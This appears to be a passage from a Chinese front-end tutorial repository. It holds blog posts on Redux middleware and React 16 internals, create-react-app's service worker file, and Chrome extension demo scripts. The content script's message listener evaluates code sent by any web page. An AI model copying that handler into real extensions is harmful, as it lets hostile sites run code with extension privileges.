"document_idle",最后一个表示页面空闲时,默认document_idle 51 | "run_at": "document_start" 52 | }, 53 | // 这里仅仅是为了演示content-script可以配置多个规则 54 | { 55 | "matches": ["*://*/*.png", "*://*/*.jpg", "*://*/*.gif", "*://*/*.bmp"], 56 | "js": ["js/show-image-content-size.js"] 57 | } 58 | ], 59 | // 权限申请 60 | "permissions": 61 | [ 62 | "contextMenus", // 右键菜单 63 | "tabs", // 标签 64 | "notifications", // 通知 65 | "webRequest", // web请求 66 | "webRequestBlocking", // 阻塞式web请求 67 | "storage", // 插件本地存储 68 | "http://*/*", // 可以通过executeScript或者insertCSS访问的网站 69 | "https://*/*" // 可以通过executeScript或者insertCSS访问的网站 70 | ], 71 | // 普通页面能够直接访问的插件资源列表,如果不设置是无法直接访问的 72 | "web_accessible_resources": ["js/inject.js"], 73 | // 插件主页,这个很重要,不要浪费了这个免费广告位 74 | "homepage_url": "https://www.baidu.com", 75 | // 覆盖浏览器默认页面 76 | "chrome_url_overrides": 77 | { 78 | // 覆盖浏览器默认的新标签页 79 | "newtab": "newtab.html" 80 | }, 81 | // Chrome40以前的插件配置页写法 82 | "options_page": "options.html", 83 | // Chrome40以后的插件配置页写法,如果2个都写,新版Chrome只认后面这一个 84 | "options_ui": 85 | { 86 | "page": "options.html", 87 | // 添加一些默认的样式,推荐使用 88 | "chrome_style": true 89 | }, 90 | // 向地址栏注册一个关键字以提供搜索建议,只能设置一个关键字 91 | "omnibox": { "keyword" : "go" }, 92 | // 默认语言 93 | "default_locale": "zh_CN", 94 | // devtools页面入口,注意只能指向一个HTML文件,不能是JS文件 95 | "devtools_page": "devtools.html" 96 | } -------------------------------------------------------------------------------- /src/redux插件原理详解.md: -------------------------------------------------------------------------------- 1 | # redux插件原理详解 2 | 3 | 4 | ## 前言 5 | 6 | redux本身代码量十分精简,出去注释,代码量也就100多行,大部分逻辑页非常好动。唯一有点难处的就是它的插件机制。 7 | 8 | 本文目标便是帮助给为彻底理解redux的插件机制 9 | 10 | ## 背景 11 | 12 | 1. 本文介绍基于[redux-4.0.0](https://github.com/reduxjs/redux) 13 | 2. 本文分析源码的源码文件为: 14 | - [createStore.js](https://github.com/reduxjs/redux/blob/master/src/createStore.js) 15 | - [applyMiddleware.js](https://github.com/reduxjs/redux/blob/master/src/applyMiddleware.js) 16 | - [compose.js](https://github.com/reduxjs/redux/blob/master/src/createStore.js) 17 | 18 | ## 使用方法 19 | 20 | ```jsx 21 | import { createStore, applyMiddleware } from 'redux' 22 | import reducer from './reducers' 23 | import middleware from './middleware' 24 | 25 | function logger(store) { 26 | return (next) => (action) => { 27 | let returnValue = next(action) 28 | return returnValue 29 | } 30 | } 31 | 32 | let store = createStore( 33 | reducer, 34 | [ 'Use Redux' ], 35 | applyMiddleware(middleware) 36 | ) 37 | ``` 38 | 39 | 可以看到createStore接受三个参数,第一个参数为reducer,第二个参数为state的初始值,第三个参数为enhancer。 40 | 41 | 接下来就让我们从createStore走进middleware。 42 | 43 | ## createStore 44 | 45 | ```jsx 46 | createStore(reducer, preloadedState, enhancer) { 47 | 48 | // enhancer必须为函数,直接返回由enhancer生成的store 49 | if (typeof enhancer !== 'undefined') { 50 | if (typeof enhancer !== 'function') { 51 | throw new Error('Expected the enhancer to be a function.') 52 | } 53 | 54 | return enhancer(createStore)(reducer, preloadedState) 55 | } 56 | 57 | ... 58 | } 59 | ``` 60 | 61 | 可以看到一旦给createStore传入enhancer后,整个store都将由enhancer来生成,接下来我们来走进redux应用插件的enhancer,也就是前面的applyMiddleware(middleware) 62 | 63 | ## applyMiddleware 64 | 65 | ```jsx 66 | import compose from './compose' 67 | 68 | export default function applyMiddleware(...middlewares) { 69 | return createStore => (...args) => { 70 | // 通过传进来的createStore生成store 71 | const store = createStore(...args) 72 | // 构建middleware期间禁止调用dispatch 73 | let dispatch = () => { 74 | throw new Error( 75 | `Dispatching while constructing your middleware is not allowed. ` + 76 | `Other middleware would not be applied to this dispatch.` 77 | ) 78 | } 79 | // 将要传给middleware的api 80 | const middlewareAPI = { 81 | getState: store.getState, 82 | dispatch: (...args) => dispatch(...args) 83 | } 84 | // 此处传入store 85 | const chain = middlewares.map(middleware => middleware(middlewareAPI)) 86 | dispatch = compose(...chain)(store.dispatch) 87 | 88 | return { 89 | ...store, 90 | dispatch 91 | } 92 | } 93 | } 94 | 95 | ``` 96 | 97 | 以上就是applymiddleWare的全部代码了,最后再来了解下compose 98 | 99 | ## compose 100 | 101 | ```jsx 102 | function compose(...funcs) { 103 | if (funcs.length === 0) { 104 | return arg => arg 105 | } 106 | 107 | if (funcs.length === 1) { 108 | return funcs[0] 109 | } 110 | // 注册时从左往右执行, 111 | return funcs.reduce((a, b) => (...args) => a(b(...args))) 112 | } 113 | 114 | ``` 115 | 嗯,没错compose的代码更少,如果middleWare为[fn1, fn2, fn3],则compose后的顺序为fn1(fn2(fn3(dispatch))) -------------------------------------------------------------------------------- /src/react16-事件系统分析.md: -------------------------------------------------------------------------------- 1 | # react源码分析-事件系统分析 2 | ![原型图](https://raw.githubusercontent.com/luke93h/git-blog/master/imgs/event.png) 3 | 4 | ## 目录 5 | - [前言](#前言) 6 | - [注册](#注册) 7 | - [trapBubbledEvent](#trapBubbledEvent) 8 | - [触发](#触发) 9 | - [dispatchInteractiveEvent](#dispatchInteractiveEvent) 10 | - [dispatchEvent](#dispatchEvent) 11 | - [handleTopLevel](#handleTopLevel) 12 | - [runExtractedEventsInBatch](#runExtractedEventsInBatch) 13 | - [SyntheticEvent](#SyntheticEvent) 14 | - [traverseTwoPhase](#traverseTwoPhase) 15 | - [executeDispatchesInOrder](#executeDispatchesInOrder) 16 | 17 | ## 前言 18 | 19 | 在开发react项目时,是否有过这样的困惑: 20 | 1. react每次render后,会在dom上重新注册事件监听函数吗? 21 | 2. 事件监听函数里面的event是原生的event吗?如果不是,是如何生成的呢? 22 | 23 | 24 | ## 注册 25 | 26 | ## trapBubbledEvent 27 | 28 | 监听冒泡事件,由用户触发的事件绑定的监听函数为dispatchInteractiveEvent 29 | 30 | ## 触发 31 | 32 | ## dispatchInteractiveEvent 33 | 34 | 调用dispatchEvent 35 | 36 | ## dispatchEvent 37 | 38 | 在createInstance时,会在对应的dom对象上保存对应的fiber实例,dispatchEvent就是从dom实例上获取对应的fiber信息的 39 | ```jsx 40 | function precacheFiberNode(hostInst, node) { 41 | node[internalInstanceKey] = hostInst; 42 | } 43 | ``` 44 | 45 | booking中保存有4个信息: 46 | 1. ancestors: 祖先元素 47 | 2. nativeEvent: 原生event对象 48 | 3. targetInst: target对应的fiber 49 | 4. topLevelType: 事件类型 50 | 51 | ## handleTopLevel 52 | 53 | handleTopLevel接受booking作为参数,在此步骤中会填充ancestors对象 54 | 55 | ## runExtractedEventsInBatch 56 | 57 | runExtractedEventsInBatch里面分为两个步骤,一是生成事件对象,而是触发事件 58 | 59 | ## SyntheticEvent 60 | 61 | 生成react的事件对象时,最终要的就是SyntheticEvent这个构造函数了。 62 | 接下来来分析下SyntheticEvent构造函数调用时所作的事情,以及一些方法 63 | 64 | ### 构造函数 65 | 66 | 会根据Interface上的内容,将原生对象上的属性拷贝到当前实例上 67 | 68 | ### preventDefault、stopPropagation 69 | 70 | 模拟原生的方法,并调用原生的方法,但只能组织到document一层,因为事件函数注册在document上,调用后会在event上标记变量 71 | 72 | ### persist 73 | 74 | 标记isPersistent为true 75 | 76 | ### destructor 77 | 78 | 将当前实例上的属性清空 79 | 80 | ### SyntheticEvent.Interface 81 | 82 | 接口,event上需要哪些数据 83 | 84 | ### SyntheticEvent.extend 85 | 86 | 扩展Interface,并生成新的构造函数 87 | 88 | ### addEventPoolingTo 89 | 90 | EventConstructor的扩展功能,有三个属性 91 | 1. eventPool:用于保存废弃的event 92 | 2. getPooled: 获取旧的event引用 93 | 3. release: 初始化并保存event实例 94 | 95 | ## traverseTwoPhase 96 | towPhase是指捕获阶段和冒泡阶段。 97 | 98 | 通过listenerAtPhase获取监听函数,然后在event上保存linstener和instance 99 | ```jsx 100 | function accumulateDirectionalDispatches(inst, phase, event) { 101 | var listener = listenerAtPhase(inst, event, phase); 102 | if (listener) { 103 | event._dispatchListeners = accumulateInto(event._dispatchListeners, listener); 104 | event._dispatchInstances = accumulateInto(event._dispatchInstances, inst); 105 | } 106 | } 107 | ``` 108 | 109 | ## listenerAtPhase 110 | 111 | 通过node[internalEventHandlersKey]获取属性,然后获得相应的监听函数,该属性在createInstance阶段被保存在dom对象上 112 | 113 | ## executeDispatch 114 | 115 | 从event上获得instance和listener 116 | 117 | ## ReactErrorUtils.invokeGuardedCallbackAndCatchFirstError 118 | 119 | 创建一个fakeDom,在fakeDom上绑定事件,并处罚事件,在事件监听函数中调用listener 120 | 121 | ## 后续 122 | 123 | 在执行完事件监听函数后,流程跳转至performWorkOnRoot,会更新react tree 124 | 125 | 126 | ## 相关 127 | 128 | 129 | - [react源码分析-reactDom.render](https://github.com/luke93h/git-blog/issues/7) 130 | - [setState分析](https://github.com/luke93h/git-blog/issues/11) 131 | -------------------------------------------------------------------------------- /react-test/src/registerServiceWorker.js: -------------------------------------------------------------------------------- 1 | // In production, we register a service worker to serve assets from local cache. 2 | 3 | // This lets the app load faster on subsequent visits in production, and gives 4 | // it offline capabilities. However, it also means that developers (and users) 5 | // will only see deployed updates on the "N+1" visit to a page, since previously 6 | // cached resources are updated in the background. 7 | 8 | // To learn more about the benefits of this model, read https://goo.gl/KwvDNy. 9 | // This link also includes instructions on opting out of this behavior. 10 | 11 | const isLocalhost = Boolean( 12 | window.location.hostname === 'localhost' || 13 | // [::1] is the IPv6 localhost address. 14 | window.location.hostname === '[::1]' || 15 | // 127.0.0.1/8 is considered localhost for IPv4. 16 | window.location.hostname.match( 17 | /^127(?:\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}$/ 18 | ) 19 | ); 20 | 21 | export default function register() { 22 | if (process.env.NODE_ENV === 'production' && 'serviceWorker' in navigator) { 23 | // The URL constructor is available in all browsers that support SW. 24 | const publicUrl = new URL(process.env.PUBLIC_URL, window.location); 25 | if (publicUrl.origin !== window.location.origin) { 26 | // Our service worker won't work if PUBLIC_URL is on a different origin 27 | // from what our page is served on. This might happen if a CDN is used to 28 | // serve assets; see https://github.com/facebookincubator/create-react-app/issues/2374 29 | return; 30 | } 31 | 32 | window.addEventListener('load', () => { 33 | const swUrl = `${process.env.PUBLIC_URL}/service-worker.js`; 34 | 35 | if (isLocalhost) { 36 | // This is running on localhost. Lets check if a service worker still exists or not. 37 | checkValidServiceWorker(swUrl); 38 | 39 | // Add some additional logging to localhost, pointing developers to the 40 | // service worker/PWA documentation. 41 | navigator.serviceWorker.ready.then(() => { 42 | console.log( 43 | 'This web app is being served cache-first by a service ' + 44 | 'worker. To learn more, visit https://goo.gl/SC7cgQ' 45 | ); 46 | }); 47 | } else { 48 | // Is not local host. Just register service worker 49 | registerValidSW(swUrl); 50 | } 51 | }); 52 | } 53 | } 54 | 55 | function registerValidSW(swUrl) { 56 | navigator.serviceWorker 57 | .register(swUrl) 58 | .then(registration => { 59 | registration.onupdatefound = () => { 60 | const installingWorker = registration.installing; 61 | installingWorker.onstatechange = () => { 62 | if (installingWorker.state === 'installed') { 63 | if (navigator.serviceWorker.controller) { 64 | // At this point, the old content will have been purged and 65 | // the fresh content will have been added to the cache. 66 | // It's the perfect time to display a "New content is 67 | // available; please refresh." message in your web app. 68 | console.log('New content is available; please refresh.'); 69 | } else { 70 | // At this point, everything has been precached. 71 | // It's the perfect time to display a 72 | // "Content is cached for offline use." message. 73 | console.log('Content is cached for offline use.'); 74 | } 75 | } 76 | }; 77 | }; 78 | }) 79 | .catch(error => { 80 | console.error('Error during service worker registration:', error); 81 | }); 82 | } 83 | 84 | function checkValidServiceWorker(swUrl) { 85 | // Check if the service worker can be found. If it can't reload the page. 86 | fetch(swUrl) 87 | .then(response => { 88 | // Ensure service worker exists, and that we really are getting a JS file. 89 | if ( 90 | response.status === 404 || 91 | response.headers.get('content-type').indexOf('javascript') === -1 92 | ) { 93 | // No service worker found. Probably a different app. Reload the page. 94 | navigator.serviceWorker.ready.then(registration => { 95 | registration.unregister().then(() => { 96 | window.location.reload(); 97 | }); 98 | }); 99 | } else { 100 | // Service worker found. Proceed as normal. 101 | registerValidSW(swUrl); 102 | } 103 | }) 104 | .catch(() => { 105 | console.log( 106 | 'No internet connection found. App is running in offline mode.' 107 | ); 108 | }); 109 | } 110 | 111 | export function unregister() { 112 | if ('serviceWorker' in navigator) { 113 | navigator.serviceWorker.ready.then(registration => { 114 | registration.unregister(); 115 | }); 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/js/background.js: -------------------------------------------------------------------------------- 1 | //-------------------- 右键菜单演示 ------------------------// 2 | chrome.contextMenus.create({ 3 | title: "测试右键菜单", 4 | onclick: function(){ 5 | chrome.notifications.create(null, { 6 | type: 'basic', 7 | iconUrl: 'img/icon.png', 8 | title: '这是标题', 9 | message: '您刚才点击了自定义右键菜单!' 10 | }); 11 | } 12 | }); 13 | chrome.contextMenus.create({ 14 | title: '使用度娘搜索:%s', // %s表示选中的文字 15 | contexts: ['selection'], // 只有当选中文字时才会出现此右键菜单 16 | onclick: function(params) 17 | { 18 | // 注意不能使用location.href,因为location是属于background的window对象 19 | chrome.tabs.create({url: 'https://www.baidu.com/s?ie=utf-8&wd=' + encodeURI(params.selectionText)}); 20 | } 21 | }); 22 | 23 | 24 | 25 | //-------------------- badge演示 ------------------------// 26 | /*(function() 27 | { 28 | var showBadge = false; 29 | var menuId = chrome.contextMenus.create({ 30 | title: '显示图标上的Badge', 31 | type: 'checkbox', 32 | checked: false, 33 | onclick: function() { 34 | if(!showBadge) 35 | { 36 | chrome.browserAction.setBadgeText({text: 'New'}); 37 | chrome.browserAction.setBadgeBackgroundColor({color: [255, 0, 0, 255]}); 38 | chrome.contextMenus.update(menuId, {title: '隐藏图标上的Badge', checked: true}); 39 | } 40 | else 41 | { 42 | chrome.browserAction.setBadgeText({text: ''}); 43 | chrome.browserAction.setBadgeBackgroundColor({color: [0, 0, 0, 0]}); 44 | chrome.contextMenus.update(menuId, {title: '显示图标上的Badge', checked: false}); 45 | } 46 | showBadge = !showBadge; 47 | } 48 | }); 49 | })();*/ 50 | 51 | // 监听来自content-script的消息 52 | chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) 53 | { 54 | console.log('收到来自content-script的消息:'); 55 | console.log(request, sender, sendResponse); 56 | sendResponse('我是后台,我已收到你的消息:' + JSON.stringify(request)); 57 | }); 58 | 59 | $('#test_cors').click((e) => { 60 | $.get('https://www.baidu.com', function(html){ 61 | console.log( html); 62 | alert('跨域调用成功!'); 63 | }); 64 | }); 65 | 66 | $('#get_popup_title').click(e => { 67 | var views = chrome.extension.getViews({type:'popup'}); 68 | if(views.length > 0) { 69 | alert(views[0].document.title); 70 | } else { 71 | alert('popup未打开!'); 72 | } 73 | }); 74 | 75 | // 获取当前选项卡ID 76 | function getCurrentTabId(callback) 77 | { 78 | chrome.tabs.query({active: true, currentWindow: true}, function(tabs) 79 | { 80 | if(callback) callback(tabs.length ? tabs[0].id: null); 81 | }); 82 | } 83 | 84 | // 当前标签打开某个链接 85 | function openUrlCurrentTab(url) 86 | { 87 | getCurrentTabId(tabId => { 88 | chrome.tabs.update(tabId, {url: url}); 89 | }) 90 | } 91 | 92 | // 新标签打开某个链接 93 | function openUrlNewTab(url) 94 | { 95 | chrome.tabs.create({url: url}); 96 | } 97 | 98 | // omnibox 演示 99 | chrome.omnibox.onInputChanged.addListener((text, suggest) => { 100 | console.log('inputChanged: ' + text); 101 | if(!text) return; 102 | if(text == '美女') { 103 | suggest([ 104 | {content: '中国' + text, description: '你要找“中国美女”吗?'}, 105 | {content: '日本' + text, description: '你要找“日本美女”吗?'}, 106 | {content: '泰国' + text, description: '你要找“泰国美女或人妖”吗?'}, 107 | {content: '韩国' + text, description: '你要找“韩国美女”吗?'} 108 | ]); 109 | } 110 | else if(text == '微博') { 111 | suggest([ 112 | {content: '新浪' + text, description: '新浪' + text}, 113 | {content: '腾讯' + text, description: '腾讯' + text}, 114 | {content: '搜狐' + text, description: '搜索' + text}, 115 | ]); 116 | } 117 | else { 118 | suggest([ 119 | {content: '百度搜索 ' + text, description: '百度搜索 ' + text}, 120 | {content: '谷歌搜索 ' + text, description: '谷歌搜索 ' + text}, 121 | ]); 122 | } 123 | }); 124 | 125 | // 当用户接收关键字建议时触发 126 | chrome.omnibox.onInputEntered.addListener((text) => { 127 | console.log('inputEntered: ' + text); 128 | if(!text) return; 129 | var href = ''; 130 | if(text.endsWith('美女')) href = 'http://image.baidu.com/search/index?tn=baiduimage&ie=utf-8&word=' + text; 131 | else if(text.startsWith('百度搜索')) href = 'https://www.baidu.com/s?ie=UTF-8&wd=' + text.replace('百度搜索 ', ''); 132 | else if(text.startsWith('谷歌搜索')) href = 'https://www.google.com.tw/search?q=' + text.replace('谷歌搜索 ', ''); 133 | else href = 'https://www.baidu.com/s?ie=UTF-8&wd=' + text; 134 | openUrlCurrentTab(href); 135 | }); 136 | 137 | // 预留一个方法给popup调用 138 | function testBackground() { 139 | alert('你好,我是background!'); 140 | } 141 | 142 | // 是否显示图片 143 | var showImage; 144 | chrome.storage.sync.get({showImage: true}, function(items) { 145 | showImage = items.showImage; 146 | }); 147 | // web请求监听,最后一个参数表示阻塞式,需单独声明权限:webRequestBlocking 148 | chrome.webRequest.onBeforeRequest.addListener(details => { 149 | // cancel 表示取消本次请求 150 | if(!showImage && details.type == 'image') return {cancel: true}; 151 | // 简单的音视频检测 152 | // 大部分网站视频的type并不是media,且视频做了防下载处理,所以这里仅仅是为了演示效果,无实际意义 153 | if(details.type == 'media') { 154 | chrome.notifications.create(null, { 155 | type: 'basic', 156 | iconUrl: 'img/icon.png', 157 | title: '检测到音视频', 158 | message: '音视频地址:' + details.url, 159 | }); 160 | } 161 | }, {urls: [""]}, ["blocking"]); -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/js/content-script.js: -------------------------------------------------------------------------------- 1 | console.log('这是content script!'); 2 | 3 | // 注意,必须设置了run_at=document_start 此段代码才会生效 4 | document.addEventListener('DOMContentLoaded', function() 5 | { 6 | // 注入自定义JS 7 | injectCustomJs(); 8 | // 给谷歌搜索结果的超链接增加 _target="blank" 9 | if(location.host == 'www.google.com.tw') 10 | { 11 | var objs = document.querySelectorAll('h3.r a'); 12 | for(var i=0; iinjected-script操作content-script演示区: 65 | 70 |
71 |
72 | `; 73 | document.body.appendChild(panel); 74 | } 75 | 76 | // 向页面注入JS 77 | function injectCustomJs(jsPath) 78 | { 79 | jsPath = jsPath || 'js/inject.js'; 80 | var temp = document.createElement('script'); 81 | temp.setAttribute('type', 'text/javascript'); 82 | // 获得的地址类似:chrome-extension://ihcokhadfjfchaeagdoclpnjdiokfakg/js/inject.js 83 | temp.src = chrome.extension.getURL(jsPath); 84 | temp.onload = function() 85 | { 86 | // 放在页面不好看,执行完后移除掉 87 | this.parentNode.removeChild(this); 88 | }; 89 | document.body.appendChild(temp); 90 | } 91 | 92 | // 接收来自后台的消息 93 | chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) 94 | { 95 | console.log('收到来自 ' + (sender.tab ? "content-script(" + sender.tab.url + ")" : "popup或者background") + ' 的消息:', request); 96 | if(request.cmd == 'update_font_size') { 97 | var ele = document.createElement('style'); 98 | ele.innerHTML = `* {font-size: ${request.size}px !important;}`; 99 | document.head.appendChild(ele); 100 | } 101 | else { 102 | tip(JSON.stringify(request)); 103 | sendResponse('我收到你的消息了:'+JSON.stringify(request)); 104 | } 105 | }); 106 | 107 | // 主动发送消息给后台 108 | // 要演示此功能,请打开控制台主动执行sendMessageToBackground() 109 | function sendMessageToBackground(message) { 110 | chrome.runtime.sendMessage({greeting: message || '你好,我是content-script呀,我主动发消息给后台!'}, function(response) { 111 | tip('收到来自后台的回复:' + response); 112 | }); 113 | } 114 | 115 | // 监听长连接 116 | chrome.runtime.onConnect.addListener(function(port) { 117 | console.log(port); 118 | if(port.name == 'test-connect') { 119 | port.onMessage.addListener(function(msg) { 120 | console.log('收到长连接消息:', msg); 121 | tip('收到长连接消息:' + JSON.stringify(msg)); 122 | if(msg.question == '你是谁啊?') port.postMessage({answer: '我是你爸!'}); 123 | }); 124 | } 125 | }); 126 | 127 | window.addEventListener("message", function(e) 128 | { 129 | console.log('收到消息:', e.data); 130 | if(e.data && e.data.cmd == 'invoke') { 131 | eval('('+e.data.code+')'); 132 | } 133 | else if(e.data && e.data.cmd == 'message') { 134 | tip(e.data.data); 135 | } 136 | }, false); 137 | 138 | 139 | function initCustomEventListen() { 140 | var hiddenDiv = document.getElementById('myCustomEventDiv'); 141 | if(!hiddenDiv) { 142 | hiddenDiv = document.createElement('div'); 143 | hiddenDiv.style.display = 'none'; 144 | hiddenDiv.id = 'myCustomEventDiv'; 145 | document.body.appendChild(hiddenDiv); 146 | } 147 | hiddenDiv.addEventListener('myCustomEvent', function() { 148 | var eventData = document.getElementById('myCustomEventDiv').innerText; 149 | tip('收到自定义事件:' + eventData); 150 | }); 151 | } 152 | 153 | var tipCount = 0; 154 | // 简单的消息通知 155 | function tip(info) { 156 | info = info || ''; 157 | var ele = document.createElement('div'); 158 | ele.className = 'chrome-plugin-simple-tip slideInLeft'; 159 | ele.style.top = tipCount * 70 + 20 + 'px'; 160 | ele.innerHTML = `
${info}
`; 161 | document.body.appendChild(ele); 162 | ele.classList.add('animated'); 163 | tipCount++; 164 | setTimeout(() => { 165 | ele.style.top = '-100px'; 166 | setTimeout(() => { 167 | ele.remove(); 168 | tipCount--; 169 | }, 400); 170 | }, 3000); 171 | } -------------------------------------------------------------------------------- /src/react源码分析-reactDom.render.md: -------------------------------------------------------------------------------- 1 | # react源码分析-ReactDom.render流程总览 2 | ![原型图](https://raw.githubusercontent.com/luke93h/git-blog/master/imgs/reactDom.png) 3 | 4 | ## 目录 5 | - 前言 6 | - [背景](#背景) 7 | - [优化内容](#优化内容) 8 | - [初始阶段](#初始阶段) 9 | - [jsx](#jsx) 10 | - [ReactDom.render](#ReactDom.render) 11 | - [legacyCreateRootFromDOMContainer](#legacyCreateRootFromDOMContainer) 12 | - [Fiber](#Fiber) 13 | - [规划阶段](#规划阶段-scheduleWork) 14 | - [ExpirationTime](#ExpirationTime) 15 | - [priority](#priority) 16 | - [调和阶段](#调和-reconciliation) 17 | - [workLoop](#workLoop) 18 | - [beginWork](#beginWork) 19 | - [completeWork](#completeWork) 20 | - [更新阶段](#更新阶段) 21 | - [commitRoot](#commitRoot) 22 | 23 | - [小技巧](#小技巧) 24 | - [参考](#参考) 25 | - [后续](#后续) 26 | 27 | ## 背景 28 | 29 | 距离react16发布已经过去很久了,facebook开发团队耗时2年多,究竟做了什么呢。从下面两张图中可以很直观的看出,react16带来的性能优化 30 | ![animation1](/luke93h/git-blog/blob/master/imgs/animation1.gif?raw=true) 31 | 32 | ![animation2](/luke93h/git-blog/blob/master/imgs/animation2.gif?raw=true) 33 | 34 | 造成这样的现象主要是因为:单个网页由js、UI渲染线程、浏览器事件触发线程、http请求线程、EventLoop轮询的处理线程等线程组成,其中js引擎线程和ui渲染线程是互斥的,也就是说在处理js任务时,页面将停止渲染,一旦js占用时间过长,造成页面每秒渲染的帧数过低,就会给用造成很明显的卡顿感。 35 | 36 | ## 优化内容 37 | 38 | 1. 新增了Portals、Fragments的组件类型,新增了componentDidCatch、static getDerivedStateFromProps、getSnapshotBeforeUpdate声明周期,componentWillMount、componentWillReceiveProps、componentWillUpdate将会在未来被移除,支持自定义的dom属性,扩展了render函数可返回的类型 39 | 40 | 2. 引入异步架构,优化了包括动画,布局和手势的性能。 41 | - 把可中断的工作拆分成小任务 42 | - 对正在做的工作调整优先次序、重做、复用上次(做了一半的)成果 43 | 44 | 3. 项目体积大幅度缩小,相比前一个大版本,react + react-dom的体积从161.kb(49.8kb gzipped)缩减到了109kb(34.8 kb gzipped),优化幅度高达30%。 45 | 46 | ## jsx 47 | 48 | 编译前: 49 | 50 | ```jsx 51 |

Hello, world!

52 | ``` 53 | 54 | 编译后: 55 | 56 | ```jsx 57 | React.createElement("h1", {color: "red"}, "Hello, world!") 58 | ``` 59 | 60 | ## ReactDom.render 61 | 62 | 将react元素渲染到真实dom中。 63 | 64 | ```jsx 65 | ReactDOM.render( 66 | element, 67 | container, 68 | [callback] 69 | ) 70 | ``` 71 | [在线尝试](https://codesandbox.io/s/v629p1y197) 72 | 73 | ## legacyRenderSubtreeIntoContainer 74 | 75 | 这个方法除主要做了两件事: 76 | 1. 清除dom容器元素的子元素 77 | ```jsx 78 | while ((rootSibling = container.lastChild)) { 79 | container.removeChild(rootSibling); 80 | } 81 | ``` 82 | 2. 创建ReactRoot对象 83 | 84 | ## Fiber 85 | 86 | react在进行组件渲染时,从setState开始到渲染完成整个过程是同步的(“一气呵成”)。 87 | 如果需要渲染的组件比较庞大,js执行会占据主线程时间较长,会导致页面响应度变差,使得react在动画、手势等应用中效果比较差。 88 | 为了解决这个问题,react团队经过两年的工作,重写了react中核心算法——reconciliation。 89 | 90 | 91 | ## 规划阶段-scheduleWork 92 | 93 | 规划更新的过期时间和优先级 94 | 95 | ## ExpirationTime 96 | 97 | 在react16中,随处可见expirationTime这个值,这个值的含义是: 98 | - 所谓的到期时间(ExpirationTime),是相对于调度器初始调用的起始时间而言的一个时间段;调度器初始调用后的某一段时间内,需要调度完成这项更新,这个时间段长度值就是到期时间值。 99 | - 目前react16的异步更新和优先级更新尚未完善,因此本文对此功能将暂不做深究。 100 | 101 | ## priority 102 | 103 | 组件更新的优先级,react16暂未启用,不做深究。 104 | 105 | ## 调和-reconciliation 106 | 107 | React算法,用于计算新旧树上需要更新的部分 108 | 109 | ## workLoop 110 | 111 | 生成FiberTree 112 | ![FiberTree](https://github.com/luke93h/git-blog/raw/master/imgs/fiber-tree.png) 113 | 114 | ## beginWork 115 | 116 | 根据fiber.tag类型,更新不同的fiber节点。 117 | 节点类型如下: 118 | ```jsx 119 | switch (workInProgress.tag) { 120 | case IndeterminateComponent: 121 | return mountIndeterminateComponent(current, workInProgress, renderExpirationTime); 122 | case FunctionalComponent: 123 | return updateFunctionalComponent(current, workInProgress); 124 | case ClassComponent: 125 | return updateClassComponent(current, workInProgress, renderExpirationTime); 126 | case HostRoot: 127 | return updateHostRoot(current, workInProgress, renderExpirationTime); 128 | case HostComponent: 129 | return updateHostComponent(current, workInProgress, renderExpirationTime); 130 | case HostText: 131 | return updateHostText(current, workInProgress); 132 | case TimeoutComponent: 133 | return updateTimeoutComponent(current, workInProgress, renderExpirationTime); 134 | case HostPortal: 135 | return updatePortalComponent(current, workInProgress, renderExpirationTime); 136 | case ForwardRef: 137 | return updateForwardRef(current, workInProgress); 138 | case Fragment: 139 | return updateFragment(current, workInProgress); 140 | case Mode: 141 | return updateMode(current, workInProgress); 142 | case Profiler: 143 | return updateProfiler(current, workInProgress); 144 | case ContextProvider: 145 | return updateContextProvider(current, workInProgress, renderExpirationTime); 146 | case ContextConsumer: 147 | return updateContextConsumer(current, workInProgress, renderExpirationTime); 148 | default: 149 | invariant_1(false, 'Unknown unit of work tag. This error is likely caused by a bug in React. Please file an issue.'); 150 | } 151 | ``` 152 | 153 | ## completeWork 154 | 155 | 创建dom节点,初始化dom属性 156 | 157 | ## 更新阶段 158 | 159 | 根据前面计算出来的更新类型,在真实dom树上执行对应的操作 160 | 161 | ## commitRoot 162 | 163 | 执行更新操作,分三次递归 164 | 1. commitBeforeMutationLifecycles:调用getSnapshotBeforeUpdate声明周期 165 | 2. commitAllHostEffects:执行所有会产生副作用的操作,插入、更新、移除、ref的unmount 166 | 3. commitAllLifeCycles:生命周期 167 | 168 | ## 小技巧 169 | 170 | - 阅读源码时,可以在本地用create-react-app新建一下小demo项目,然后直接在node_modules中的react-dom.development.js和react.development.js两个文件里的对应方法打断点。![断点图](https://raw.githubusercontent.com/luke93h/git-blog/master/imgs/breakPoint.png) 171 | 172 | ## 参考 173 | 174 | - [React16.2源码解析](https://juejin.im/post/5b1b4daff265da6e0f70b5a9) 175 | - [React 16 Fiber源码速览](http://zxc0328.github.io/2017/09/28/react-16-source/) 176 | - [react官方文档](https://reactjs.org/docs/react-dom.html) 177 | - [React Fiber](https://juejin.im/post/5ab7b3a2f265da2378403e57) 178 | - [React Fiber初探](http://blog.codingplayboy.com/2017/12/02/react_fiber/#alternate_fiber) 179 | - [React Fiber Architecture](https://github.com/acdlite/react-fiber-architecture) 180 | 181 | # 后续 182 | 183 | - [事件系统分析](https://github.com/luke93h/git-blog/issues/10) 184 | - [setState分析](https://github.com/luke93h/git-blog/issues/11) -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/js/popup.js: -------------------------------------------------------------------------------- 1 | $(function() { 2 | // 加载设置 3 | var defaultConfig = {color: 'white'}; // 默认配置 4 | chrome.storage.sync.get(defaultConfig, function(items) { 5 | document.body.style.backgroundColor = items.color; 6 | }); 7 | 8 | // 初始化国际化 9 | $('#test_i18n').html(chrome.i18n.getMessage("helloWorld")); 10 | 11 | 12 | }); 13 | 14 | // 打开后台页 15 | $('#open_background').click(e => { 16 | window.open(chrome.extension.getURL('background.html')); 17 | }); 18 | 19 | // 调用后台JS 20 | $('#invoke_background_js').click(e => { 21 | var bg = chrome.extension.getBackgroundPage(); 22 | bg.testBackground(); 23 | }); 24 | 25 | // 获取后台页标题 26 | $('#get_background_title').click(e => { 27 | var bg = chrome.extension.getBackgroundPage(); 28 | alert(bg.document.title); 29 | }); 30 | 31 | // 设置后台页标题 32 | $('#set_background_title').click(e => { 33 | var title = prompt('请输入background的新标题:', '这是新标题'); 34 | var bg = 